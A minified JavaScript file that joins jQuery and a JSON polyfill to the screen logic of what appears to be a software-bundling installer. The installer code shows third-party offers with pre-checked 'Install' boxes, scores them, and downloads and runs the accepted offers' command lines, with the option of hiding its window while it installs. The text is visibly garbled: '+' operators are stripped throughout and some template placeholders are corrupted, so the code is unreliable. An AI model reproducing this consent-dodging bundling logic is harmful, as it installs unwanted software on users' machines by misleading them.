s.notifyWith(e,[u,o,n]),1>o&&l?n:(s.resolveWith(e,[u]),!1)},u=s.promise({elem:e,props:x.extend({},t),opts:x.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:Xn||Kn(),duration:n.duration,tweens:[],createTween:function(t,n){var r=x.Tween(e,u.opts,t,n,u.opts.specialEasing[t]||u.opts.easing);return u.tweens.push(r),r},stop:function(t){var n=0,r=t?u.tweens.length:0;if(i){return this}for(i=!0;r>n;n  ){u.tweens[n].run(1)}return t?s.resolveWith(e,[u,t]):s.rejectWith(e,[u,t]),this}}),c=u.props;for(tr(c,u.opts.specialEasing);a>o;o  ){if(r=Gn[o].call(u,e,c,u.opts)){return r}}return x.map(c,Zn,u),x.isFunction(u.opts.start)&&u.opts.start.call(e,u),x.fx.timer(x.extend(l,{elem:e,anim:u,queue:u.opts.queue})),u.progress(u.opts.progress).done(u.opts.done,u.opts.complete).fail(u.opts.fail).always(u.opts.always)}function tr(e,t){var n,r,i,o,a;for(n in e){if(r=x.camelCase(n),i=t[r],o=e[n],x.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),a=x.cssHooks[r],a&&"expand" in a){o=a.expand(o),delete e[r];for(n in o){n in e||(e[n]=o[n],t[n]=i)}}else{t[r]=i}}}x.Animation=x.extend(er,{tweener:function(e,t){x.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");var n,r=0,i=e.length;for(;i>r;r  ){n=e[r],Qn[n]=Qn[n]||[],Qn[n].unshift(t)}},prefilter:function(e,t){t?Gn.unshift(e):Gn.push(e)}});function nr(e,t,n){var r,i,o,a,s,l,u=this,c={},p=e.style,f=e.nodeType&&nn(e),d=x._data(e,"fxshow");n.queue||(s=x._queueHooks(e,"fx"),null==s.unqueued&&(s.unqueued=0,l=s.empty.fire,s.empty.fire=function(){s.unqueued||l()}),s.unqueued  ,u.always(function(){u.always(function(){s.unqueued--,x.queue(e,"fx").length||s.empty.fire()})})),1===e.nodeType&&("height" in t||"width" in t)&&(n.overflow=[p.overflow,p.overflowX,p.overflowY],"inline"===x.css(e,"display")&&"none"===x.css(e,"float")&&(x.support.inlineBlockNeedsLayout&&"inline"!==ln(e.nodeName)?p.zoom=1:p.display="inline-block")),n.overflow&&(p.overflow="hidden",x.support.shrinkWrapBlocks||u.always(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in t){if(i=t[r],Vn.exec(i)){if(delete t[r],o=o||"toggle"===i,i===(f?"hide":"show")){continue}c[r]=d&&d[r]||x.style(e,r)}}if(!x.isEmptyObject(c)){d?"hidden" in d&&(f=d.hidden):d=x._data(e,"fxshow",{}),o&&(d.hidden=!f),f?x(e).show():u.done(function(){x(e).hide()}),u.done(function(){var t;x._removeData(e,"fxshow");for(t in c){x.style(e,t,c[t])}});for(r in c){a=Zn(f?d[r]:0,r,u),r in d||(d[r]=a.start,f&&(a.end=a.start,a.start="width"===r||"height"===r?1:0))}}}function rr(e,t,n,r,i){return new rr.prototype.init(e,t,n,r,i)}x.Tween=rr,rr.prototype={constructor:rr,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(x.cssNumber[n]?"":"px")},cur:function(){var e=rr.propHooks[this.prop];return e&&e.get?e.get(this):rr.propHooks._default.get(this)},run:function(e){var t,n=rr.propHooks[this.prop];return this.pos=t=this.options.duration?x.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):rr.propHooks._default.set(this),this}},rr.prototype.init.prototype=rr.prototype,rr.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=x.css(e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){x.fx.step[e.prop]?x.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[x.cssProps[e.prop]]||x.cssHooks[e.prop])?x.style(e.elem,e.prop,e.now e.unit):e.elem[e.prop]=e.now}}},rr.propHooks.scrollTop=rr.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},x.each(["toggle","show","hide"],function(e,t){var n=x.fn[t];x.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(ir(t,!0),e,r,i)}}),x.fn.extend({fadeTo:function(e,t,n,r){return this.filter(nn).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=x.isEmptyObject(e),o=x.speed(t,n,r),a=function(){var t=er(this,x.extend({},e),o);(i||x._data(this,"finish"))&&t.stop(!0)};return a.finish=a,i||o.queue===!1?this.each(a):this.queue(o.queue,a)},stop:function(e,n,r){var i=function(e){var t=e.stop;delete e.stop,t(r)};return"string"!=typeof e&&(r=n,n=e,e=t),n&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,n=null!=e&&e "queueHooks",o=x.timers,a=x._data(this);if(n){a[n]&&a[n].stop&&i(a[n])}else{for(n in a){a[n]&&a[n].stop&&Jn.test(n)&&i(a[n])}}for(n=o.length;n--;){o[n].elem!==this||null!=e&&o[n].queue!==e||(o[n].anim.stop(r),t=!1,o.splice(n,1))}(t||!r)&&x.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||"fx"),this.each(function(){var t,n=x._data(this),r=n[e "queue"],i=n[e "queueHooks"],o=x.timers,a=r?r.length:0;for(n.finish=!0,x.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;){o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1))}for(t=0;a>t;t  ){r[t]&&r[t].finish&&r[t].finish.call(this)}delete n.finish})}});function ir(e,t){var n,r={height:e},i=0;for(t=t?1:0;4>i;i =2-t){n=Zt[i],r["margin" n]=r["padding" n]=e}return t&&(r.opacity=r.width=e),r}x.each({slideDown:ir("show"),slideUp:ir("hide"),slideToggle:ir("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){x.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),x.speed=function(e,t,n){var r=e&&"object"==typeof e?x.extend({},e):{complete:n||!n&&t||x.isFunction(e)&&e,duration:e,easing:n&&t||t&&!x.isFunction(t)&&t};return r.duration=x.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in x.fx.speeds?x.fx.speeds[r.duration]:x.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue="fx"),r.old=r.complete,r.complete=function(){x.isFunction(r.old)&&r.old.call(this),r.queue&&x.dequeue(this,r.queue)},r},x.easing={linear:function(e){return e},swing:function(e){return 0.5-Math.cos(e*Math.PI)/2}},x.timers=[],x.fx=rr.prototype.init,x.fx.tick=function(){var e,n=x.timers,r=0;for(Xn=x.now();n.length>r;r  ){e=n[r],e()||n[r]!==e||n.splice(r--,1)}n.length||x.fx.stop(),Xn=t},x.fx.timer=function(e){e()&&x.timers.push(e)&&x.fx.start()},x.fx.interval=13,x.fx.start=function(){Un||(Un=setInterval(x.fx.tick,x.fx.interval))},x.fx.stop=function(){clearInterval(Un),Un=null},x.fx.speeds={slow:600,fast:200,_default:400},x.fx.step={},x.expr&&x.expr.filters&&(x.expr.filters.animated=function(e){return x.grep(x.timers,function(t){return e===t.elem}).length}),x.fn.offset=function(e){if(arguments.length){return e===t?this:this.each(function(t){x.offset.setOffset(this,e,t)})}var n,r,o={top:0,left:0},a=this[0],s=a&&a.ownerDocument;if(s){return n=s.documentElement,x.contains(n,a)?(typeof a.getBoundingClientRect!==i&&(o=a.getBoundingClientRect()),r=or(s),{top:o.top (r.pageYOffset||n.scrollTop)-(n.clientTop||0),left:o.left (r.pageXOffset||n.scrollLeft)-(n.clientLeft||0)}):o}},x.offset={setOffset:function(e,t,n){var r=x.css(e,"position");"static"===r&&(e.style.position="relative");var i=x(e),o=i.offset(),a=x.css(e,"top"),s=x.css(e,"left"),l=("absolute"===r||"fixed"===r)&&x.inArray("auto",[a,s])>-1,u={},c={},p,f;l?(c=i.position(),p=c.top,f=c.left):(p=parseFloat(a)||0,f=parseFloat(s)||0),x.isFunction(t)&&(t=t.call(e,n,o)),null!=t.top&&(u.top=t.top-o.top p),null!=t.left&&(u.left=t.left-o.left f),"using" in t?t.using.call(e,u):i.css(u)}},x.fn.extend({position:function(){if(this[0]){var e,t,n={top:0,left:0},r=this[0];return"fixed"===x.css(r,"position")?t=r.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),x.nodeName(e[0],"html")||(n=e.offset()),n.top =x.css(e[0],"borderTopWidth",!0),n.left =x.css(e[0],"borderLeftWidth",!0)),{top:t.top-n.top-x.css(r,"marginTop",!0),left:t.left-n.left-x.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||s;while(e&&!x.nodeName(e,"html")&&"static"===x.css(e,"position")){e=e.offsetParent}return e||s})}}),x.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,n){var r=/Y/.test(n);x.fn[e]=function(i){return x.access(this,function(e,i,o){var a=or(e);return o===t?a?n in a?a[n]:a.document.documentElement[i]:e[i]:(a?a.scrollTo(r?x(a).scrollLeft():o,r?o:x(a).scrollTop()):e[i]=o,t)},e,i,arguments.length,null)}});function or(e){return x.isWindow(e)?e:9===e.nodeType?e.defaultView||e.parentWindow:!1}x.each({Height:"height",Width:"width"},function(e,n){x.each({padding:"inner" e,content:n,"":"outer" e},function(r,i){x.fn[i]=function(i,o){var a=arguments.length&&(r||"boolean"!=typeof i),s=r||(i===!0||o===!0?"margin":"border");return x.access(this,function(n,r,i){var o;return x.isWindow(n)?n.document.documentElement["client" e]:9===n.nodeType?(o=n.documentElement,Math.max(n.body["scroll" e],o["scroll" e],n.body["offset" e],o["offset" e],o["client" e])):i===t?x.css(n,r,s):x.style(n,r,i,s)},n,a?i:t,a,null)}})}),x.fn.size=function(){return this.length},x.fn.andSelf=x.fn.addBack,"object"==typeof module&&module&&"object"==typeof module.exports?module.exports=x:(e.jQuery=e.$=x,"function"==typeof define&&define.amd&&define("jquery",[],function(){return x}))})(window);if(typeof JSON!=="object"){JSON={}}(function(){function f(n){return n<10?"0" n:n}if(typeof Date.prototype.toJSON!=="function"){Date.prototype.toJSON=function(){return isFinite(this.valueOf())?this.getUTCFullYear() "-" f(this.getUTCMonth() 1) "-" f(this.getUTCDate()) "T" f(this.getUTCHours()) ":" f(this.getUTCMinutes()) ":" f(this.getUTCSeconds()) "Z":null};String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(){return this.valueOf()}}var cx,escapable,gap,indent,meta,rep;function quote(string){escapable.lastIndex=0;return escapable.test(string)?'"' string.replace(escapable,function(a){var c=meta[a];return typeof c==="string"?c:"\\u" ("0000" a.charCodeAt(0).toString(16)).slice(-4)}) '"':'"' string '"'}function str(key,holder){var i,k,v,length,mind=gap,partial,value=holder[key];if(value&&typeof value==="object"&&typeof value.toJSON==="function"){value=value.toJSON(key)}if(typeof rep==="function"){value=rep.call(holder,key,value)}switch(typeof value){case"string":return quote(value);case"number":return isFinite(value)?String(value):"null";case"boolean":case"null":return String(value);case"object":if(!value){return"null"}gap =indent;partial=[];if(Object.prototype.toString.apply(value)==="[object Array]"){length=value.length;for(i=0;i<length;i =1){partial[i]=str(i,value)||"null"}v=partial.length===0?"[]":gap?"[\n" gap partial.join(",\n" gap) "\n" mind "]":"[" partial.join(",") "]";gap=mind;return v}if(rep&&typeof rep==="object"){length=rep.length;for(i=0;i<length;i =1){if(typeof rep[i]==="string"){k=rep[i];v=str(k,value);if(v){partial.push(quote(k) (gap?": ":":") v)}}}}else{for(k in value){if(Object.prototype.hasOwnProperty.call(value,k)){v=str(k,value);if(v){partial.push(quote(k) (gap?": ":":") v)}}}}v=partial.length===0?"{}":gap?"{\n" gap partial.join(",\n" gap) "\n" mind "}":"{" partial.join(",") "}";gap=mind;return v}}if(typeof JSON.stringify!=="function"){escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;meta={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"};JSON.stringify=function(value,replacer,space){var i;gap="";indent="";if(typeof space==="number"){for(i=0;i<space;i =1){indent =" "}}else{if(typeof space==="string"){indent=space}}rep=replacer;if(replacer&&typeof replacer!=="function"&&(typeof replacer!=="object"||typeof replacer.length!=="number")){throw new Error("JSON.stringify")}return str("",{"":value})}}if(typeof JSON.parse!=="function"){cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;JSON.parse=function(text,reviver){var j;function walk(holder,key){var k,v,value=holder[key];if(value&&typeof value==="object"){for(k in value){if(Object.prototype.hasOwnProperty.call(value,k)){v=walk(value,k);if(v!==undefined){value[k]=v}else{delete value[k]}}}}return reviver.call(holder,key,value)}text=String(text);cx.lastIndex=0;if(cx.test(text)){text=text.replace(cx,function(a){return"\\u" ("0000" a.charCodeAt(0).toString(16)).slice(-4)})}if(/^[\],:{}\s]*$/.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d (?:\.\d*)?(?:[eE][ \-]?\d )?/g,"]").replace(/(?:^|:|,)(?:\s*\[) /g,""))){j=eval("(" text ")");return typeof reviver==="function"?walk({"":j},""):j}throw new SyntaxError("JSON.parse")}}}());var actualWidth;var actualHeight;function getBodySize(){try{try{addTrace("enter");actualWidth=$("#_BodyWidth").text();addTrace("width");actualHeight=$("#_BodyHeight").text();addTrace("height");addLog("width:" actualWidth);addLog("height:" actualHeight);if($.isNumeric(actualWidth)&&$.isNumeric(actualHeight)){return}}catch(ex){}actualWidth=$(document).width();actualHeight=$(document).height();if(actualHeight<100){actualWidth=$("body").width();actualHeight=$("body").height()}if(actualHeight<100){actualWidth=$("body").css("width");actualHeight=$("body").css("height")}if(actualHeight<100||actualHeight>600){actualWidth=670;actualHeight=410}}catch(err){actualWidth=670;actualHeight=410}}function setButtonDefaultText(elements){var setDefault=function(element){if(element){element.attr("defaultText",element.val())}};$.each(elements,function(key,element){setDefault(element)})}function setButtonsText(){var json=[{text:"#_OfferAcceptText",element:"#_Bnext"},{text:"#_OfferDeclineText",element:"#_Bdecline"},{text:"#_OfferExitText",element:"#_Bexit"},{text:"#_OfferSkipText",element:"#_Bomit"}];setText(json)}function setText(json){var setText=function(elementWithText,element){if(!element){addLog("noelement");return}if(elementWithText.html()){addLog("element->" elementWithText.html());element.val(elementWithText.html())}else{addLog("noelement->" element.attr("defaultText"));element.val(element.attr("defaultText"))}};$.each(json,function(key,element){setText($(element.text),$(element.element))})}function replaceResponse(data,installerData,dataObject,buttonText,hostName){hostName=hostName||"hXXp://" installerData.extra.requestHost "/";data=data.replace(/%osname%/g,machineInfo.osname);data=data.replace(/%ub%/g,installerData.usedBrowser);data=data.replace(/%buttonText%/g,buttonText);data=data.replace(/%uid%/g,installerData.uid);data=data.replace(/%downloadDomain%/g,installerData.host);data=data.replace(/%mapp%/g,dataObject.presentation.formCaption);data=data.replace(/¯fcode%/g,installerData.publisher);data=data.replace(/Ìode%/g,dataObject.country.toLowerCase());data=data.replace(/%crossDomain%/g,hostName);return data}function addStyle(style,removable){if(typeof removable==="undefined"){removable=false}$("head").append($("<link />",{rel:"stylesheet",href:style,tag:removable,type:"text/css"}))}function removePreviousStyles(){$("link").each(function(){if($(this).attr("tag")=="true"){$(this).remove()}})}function createFrame(src,style,failCallback,callback){$("#_frameContainer").css("visibility","hidden");removePreviousStyles();if(style&&style!=""){addStyle(style,true)}getResponseFromWrapper(src,"",callback,failCallback)}function loadProfile(src,style,failCallback,callback){addStyle(style);getResponseFromWrapper(src,"",callback,failCallback)}function returnIdValue(identifier){var text=null;if($(identifier)){text=$(identifier).html()}return text}function SetLink(classname,value,onParent){var element=$("." classname);var tohide;if(onParent){tohide=element.parent()}else{tohide=element}if(value&&element){try{element.attr("href",value);tohide.show()}catch(err){}}else{try{tohide.hide()}catch(err){}}}function changeDefaultDownloadPathInput(){if($("#_downloadPath").length>0){updateValue($("#_downloadPath"),getDownloadPath(),false)}}function buttonsVisibility(showIds){var ButtonsListIds=["_Bnext","_Bdecline","_Bomit","_Bexit"];for(var i=0;i<ButtonsListIds.length;i  ){if($.inArray(ButtonsListIds[i],showIds)>-1){$("#" ButtonsListIds[i]).show()}else{$("#" ButtonsListIds[i]).hide()}}var ButtonListShoes=["_Bminimize","_Bmaximize","_Bclose"];for(var a=0;a<ButtonListShoes.length;a  ){if($.inArray(ButtonListShoes[a],showIds)>-1){disableControlBoxButtons(a,true)}else{disableControlBoxButtons(a,false)}}}function changeClassContentWaiting(key,value,append,callback){var maxTimes=5;var interval=setInterval(function(){if(key!=""&&$("." key).length){$("." key).each(function(){updateValue($(this),value,append)});if(typeof callback!=="undefined"){callback()}clearInterval(interval)}else{maxTimes--;if(maxTimes<=0){if(typeof callback!=="undefined"){callback()}clearInterval(interval)}}},50)}function updateValue(element,value,append){if(element.length==0){return}if(element.is("input")){element.val(value)}else{if(append){element.append(value)}else{element.html(value)}}}function hideClasses(classes){for(var i=0;i<classes.length;i  ){var element=$("." classes[i]);element.hide()}}function changeRecomendedClass(checked){var visibleClass="recVisible";var hiddenClass="recHidden";if(checked=="1"){$("._args").removeClass(visibleClass).addClass(hiddenClass);$("._noargs").removeClass(hiddenClass).addClass(visibleClass);$("._CBarg").each(function(){$(this).prop("checked",$(this).attr("tag"))})}else{$("._args").removeClass(hiddenClass).addClass(visibleClass);$("._noargs").removeClass(visibleClass).addClass(hiddenClass)}}function changeRecomended(checked){if(checked=="1"){$("._args").hide();$("._noargs").show();$("._CBarg").each(function(){$(this).prop("checked",$(this).attr("tag"))})}else{$("._args").show();$("._noargs").hide()}}function disableArgs(_checked){$("._CBarg").each(function(element){if(_checked){$(this).prop("checked",1);$(this).prop("disabled",0)}else{$(this).prop("checked",0);$(this).prop("disabled",1)}})}function addDecline(text,disable,callback,tag){var dis="";if(disable){dis="onclick='disableArgs(this.checked)'"}var cb="<span><input class='_CBdecline' type='checkbox' checked='checked' tag='" tag "' " dis " /> " text "</span>";changeClassContentWaiting("_args",cb,true,callback)}function addArg(text,check,uncheck,startState,classname,callback){if(typeof classname==="undefined"||classname==""){classname="_args"}if($("." classname).length<1){classname="_args"}var cb="<span><input class='_CBarg' type='checkbox' tag='" startState "' checked='" startState "' check='" check "' uncheck='" uncheck "' /> " text "</span>";changeClassContentWaiting(classname,cb,true,callback)}function GetCommandline(commandline,delimitator){if(typeof delimitator==="undefined"){delimitator=" "}var commandlineAppend="";$("._CBarg").each(function(){if(this.checked=="1"&&$(this).attr("check")!=""){commandlineAppend =$(this).attr("check") delimitator}else{if(this.checked=="0"&&$(this).attr("uncheck")!=""){commandlineAppend =$(this).attr("uncheck") delimitator}}});if(commandlineAppend.slice(-1)===delimitator){commandlineAppend=commandlineAppend.slice(0,-1)}if(commandline.indexOf("%args%")!=-1){commandline=commandline.replace(/%args%/g,commandlineAppend)}else{commandline=commandline delimitator commandlineAppend}return commandline}function GetAccepted(argsdecline){var accepted=true;if($("._CBdecline").length>0){accepted=$("._CBdecline").is(":checked")}if(accepted==true&&argsdecline==true){accepted=($("._CBarg:checked").length>0||$("._CBarg").length<1)}return accepted}function setFocus(focusValue,classname){if(focusValue){$("." classname).focus()}else{$("." classname).blur()}}function ChangeVisibility(showClassName,hideClassName){if(showClassName){$("." showClassName).show()}if(hideClassName){$("." hideClassName).hide()}}function humanReadableFileSize(size){var i=Math.floor(Math.log(size)/Math.log(1024));return(size/Math.pow(1024,i)).toFixed(2)*1 " " ["B","kB","MB","GB","TB"][i]}function addFinishItem(name,uninstallUrl,classname){var item="<li class='_FinishItem'>";item =name;if(uninstallUrl&&uninstallUrl!=""){item =" <a href='" uninstallUrl "' class='_FinishUninstallUrl' > </a>"}item ="</li>";$("." classname).append(item)}function replaceLinks(){try{addLog("changing");$("a").each(function(index,value){var href=value.href;var new_element=document.createElement("span");new_element.innerText=value.innerText;for(var i=0;i<value.attributes.length;i  ){var att=value.attributes.item(i);if(att.nodeValue&&att.nodeName!="href"&&att.nodeName!="target"){new_element.setAttribute(att.nodeName,att.nodeValue)}}$(new_element).addClass("_transformed");new_element.style.textDecoration="underline";new_element.style.cursor="pointer";if($.inArray(value.className,specialLinks)==-1){new_element.style.color="#444"}new_element.onclick=function(){openUrlOnDefaultBrowser(href);return false};value.parentNode.replaceChild(new_element,value)})}catch(err){}}function showProfile(){addTrace("showProfile");loadProfile(dataObject.presentation.renderUrl,dataObject.presentation.renderStyle,"ForceError","profileLoad");if(dataObject.presentation.mappRenderStyle&&dataObject.presentation.mappRenderStyle!=""){addStyle(dataObject.presentation.mappRenderStyle)}}function profileLoad(data){addTrace("profileLoaded");data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("._ParentContainer").html(data);addLog("profile loaded");setLinks();setButtonDefaultText([$("#_Bnext"),$("#_Bexit"),$("#_Bdecline"),$("#_Bomit")]);goForward();setWindowName(returnIdValue("#_WindowTitle")||dataObject.presentation.formCaption " setup");printStates()}function showCommon(node,callback,mappRenderId){if(typeof node!=="undefined"){if(!mappRenderId){mappRenderId=""}buttonsVisibility(node.buttons);createFrame(node.renderUrl mappRenderId,"","onDisplayFail",callback)}else{goForward()}}function welcomeScreen(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);changeDefaultDownloadPathInput();loading=false;loaded();replaceLinks()}function installScreen(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);if(dataObject.installerBehavior.installerPopupUrl!=null){openUrlOnDefaultBrowser(dataObject.installerBehavior.installerPopupUrl)}addUniqueTrace("CompleteLoad");setNoDisplayStates(dataObject.offers);var mappFileName=dataObject.installerBehavior.mappFileName||getFilenameFromUrl(dataObject.installerBehavior.mappUrl);var mapp=setOfferObject(-1,dataObject.installerBehavior.mappUrl,dataObject.installerBehavior.mappCommandLine,mappFileName,"MainApp",0,dataObject.installerBehavior.macBehavior);installing.push(mapp);$.each(dataObject.offers,function(key,offer){if(offer.state==ACCEPTED){var offerObject=setOfferObject(offer.id,offer.appUrl,offer.commandLine,offer.fileName,offer.name,offer.offerBehavior.waitToCheck,offer.offerBehavior.macBehavior);installing.push(offerObject)}});install(installing);if(dataObject.installerBehavior.hideOnInstall){hideForm(true,true)}loaded();replaceLinks();loading=false}function groupScreen(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);addUniqueTrace("CompleteLoad");addLog("group screen loaded");setButtonsText();remainArgs=0;dataObject.installerBehavior.maxSteps--;var text="";$.each(currOffer,function(key,offer){dataObject.offers[offer].usedScreen=-1;remainArgs  ;if(dataObject.offers[offer].offerPresentation.groupTextHtml){text =dataObject.offers[offer].offerPresentation.groupTextHtml " "}var groupText=returnIdValue("#_GroupItemText")||"Install " dataObject.offers[offer].caption;groupText=groupText.replace(/%offercaption%/g,dataObject.offers[offer].caption);addDecline(groupText,false,dataInjected,offer);if(dataObject.offers[offer].offerPresentation.policyUrl){var policyLink="<a href='" dataObject.offers[offer].offerPresentation.policyUrl "'>" dataObject.offers[offer].caption "</a> ";remainArgs  ;changeClassContentWaiting("_GroupPolicies",policyLink,true,dataInjected)}});remainArgs  ;changeClassContentWaiting("_GroupHtml",text,false,dataInjected)}function finishScreen(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);addUniqueTrace("CompleteLoad");addFinishItem(dataObject.presentation.formCaption,"","_FinishMapp");$.each(dataObject.offers,function(key,offer){if(offer.state==INSTALLED){addFinishItem(offer.caption,offer.offerPresentation.uninstallUrl,"_FinishOffers")}});loaded();replaceLinks();loading=false}function displayLoaded(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);if(currOffer){addLog("display screen loaded");if(currOffer.length==1){setButtonsText();addUniqueTrace("CompleteLoad");dataObject.installerBehavior.maxSteps--;remainArgs=0;var offer=dataObject.offers[currOffer];updateValue($("._OffersShowing"),offer.caption,false);addLog("declineCheckBox -> " dataObject.presentation.offerScreens[currentOfferScreen].declineCheckBox);addLog("offer arguments->" offer.offerBehavior.offerArguments.length);addLog("argsdecline->" dataObject.presentation.offerScreens[currentOfferScreen].argsDecline);if(dataObject.presentation.offerScreens[currentOfferScreen].declineCheckBox||(dataObject.presentation.offerScreens[currentOfferScreen].argsDecline&&offer.offerBehavior.offerArguments.length<1)){remainArgs  ;var declineCheckboxText=returnIdValue("#_DeclineCheckboxText")||"Install " offer.caption;addLog(declineCheckboxText);if(declineCheckboxText!=""){addDecline(declineCheckboxText,offer.offerPresentation.declineDisableArgs,dataInjected)}else{addDecline("Install " offer.caption,offer.offerPresentation.declineDisableArgs,dataInjected)}}remainArgs =offer.offerBehavior.offerArguments.length;$.each(offer.offerBehavior.offerArguments,function(i,value){addArg(value.text,value.check,value.uncheck,value.startChecked,value.className,dataInjected)});if(offer.offerPresentation.policyUrl!=""){SetLink("_OfferPolicy",offer.offerPresentation.policyUrl,false)}var ButtonsArray=[].concat(dataObject.presentation.offerScreenButtons);if(dataObject.presentation.offerScreens[currentOfferScreen].declineButton){ButtonsArray.push("_Bdecline")}buttonsVisibility(ButtonsArray);setFocus(!offer.offerBehavior.ignoreEnter,"_Bnext");SetLink("_UninstallUrl",offer.offerPresentation.uninstallUrl,false);remainArgs  ;dataInjected()}}else{loaded();loading=false;replaceLinks()}}var remainArgs=0;function dataInjected(){try{remainArgs--;if(remainArgs<=0){loading=false;loaded();addLog("loading set to false");replaceLinks()}}catch(err){loading=false}}var interruptor=true;var interactions=0;var acceptedRestrictions=[];var testingCombinationsId=[];var testingCombination=[-1];var maxCombination=combination();var firstCombination=[];var allOffers={};var callbackFunction;var first;var AcceptedOffer="";function getOffersAsString(offers,groupable){var offersData="";AcceptedOffer="";for(var i=0;i<offers.length;i  ){if(offers[i].state==PENDING){offersData ="|";offersData =offers[i].id;offersData =",";for(var a=0;a<offers[i].offerBehavior.restrictions.length;a  ){offersData =offers[i].offerBehavior.restrictions[a];offersData ="-"}if(offersData.slice(-1)==="-"){offersData=offersData.slice(0,-1)}offersData =",";offersData =boolToInt(offers[i].offerPresentation.canGroup&&groupable);offersData =",";offersData =offers[i].score;offersData ="|"}else{if(offers[i].state==ACCEPTED){AcceptedOffer=AcceptedOffer.concat(offers[i].id ",")}}}if(AcceptedOffer.slice(-1)===","){AcceptedOffer=AcceptedOffer.slice(0,-1)}return offersData}function formatCplusResponse(offers,arrayIds){var arrayPositions=[];for(var i=0;i<offers.length;i  ){if($.inArray(offers[i].id.toString(),arrayIds)!=-1){arrayPositions.push(i)}}return arrayPositions}function sendToC(offers,maxSteps,hasGroup,callback,combinationMaxTime){setTimeout(function(){var offersData=getOffersAsString(offers,hasGroup);var commaSepparated=getScriptNextOffer(offersData,AcceptedOffer,maxSteps,combinationMaxTime);var offersArray=commaSepparated.split(",");if(commaSepparated==""){callback(null)}callback(formatCplusResponse(offers,offersArray))},1)}function setLoopTimeout(milliseconds){setTimeout(function(){interruptor=false},milliseconds)}function startGettingNextOffer(offers,maxSteps,hasGroup,callback,combinationMaxTime){if(window.external&&("getScriptNextOffer" in window.external)&&dataObject.installerBehavior.combinationWrapper){sendToC(offers,maxSteps,hasGroup,callback,combinationMaxTime);return}printClearCombination();interactions=0;allOffers=offers;testingCombination=[-1];callbackFunction=callback;maxCombination=combination();interruptor=true;firstCombination=[];first=true;var cleanOffers=getPendingOffers(offers,hasGroup);cleanOffers.sort(compareScore);setLoopTimeout(combinationMaxTime);recurseveMethod(cleanOffers,maxSteps)}function getPendingOffers(offers,hasGroup){var cleanOffers=[];for(var i=0;i<offers.length;i  ){offers[i].offerPresentation.canGroup=(offers[i].offerPresentation.canGroup&&hasGroup)==true;if(offers[i].state==PENDING&&$.inArray(offers[i].id,acceptedRestrictions)==-1&&offers[i].offerBehavior.showDisplay){cleanOffers.push(offers[i])}}return cleanOffers}function recurseveMethod(offers,maxSteps){setTimeout(function(){if(interruptor||first===true){first=false;var currentCombination=getCombination(offers,maxSteps);printCombination(currentCombination.offers,currentCombination.score);if(!firstCombination.length){for(var i=0;i<currentCombination.offers.length;i  ){for(var a=0;a<currentCombination.offers[i].length;a  ){firstCombination.push(currentCombination.offers[i][a])}}}if(currentCombination.score>=maxCombination.score){maxCombination=currentCombination}interactions  ;recurseveMethod(offers,maxSteps);testingCombinationsId=GetRestrictionsRecursive(interactions,firstCombination.length,firstCombination)}else{if(maxCombination.offers.length==0){callbackFunction(null);return}var ids=[];for(var x=0;x<maxCombination.offers[0].length;x  ){ids.push(idToIndex(maxCombination.offers[0][x]))}callbackFunction(ids)}},0)}function getCombination(offers,maxSteps){var currentCombination=combination();for(var i=0;i<maxSteps;i  ){var currStep=nextOffersWithGroup(offers,currentCombination.restrictions);if(!currStep||!currStep.offers.length){break}currentCombination.restrictions=currentCombination.restrictions.concat(currStep.restrictions);currentCombination.score =currStep.score;currentCombination.offers.push(currStep.offers)}return currentCombination}function 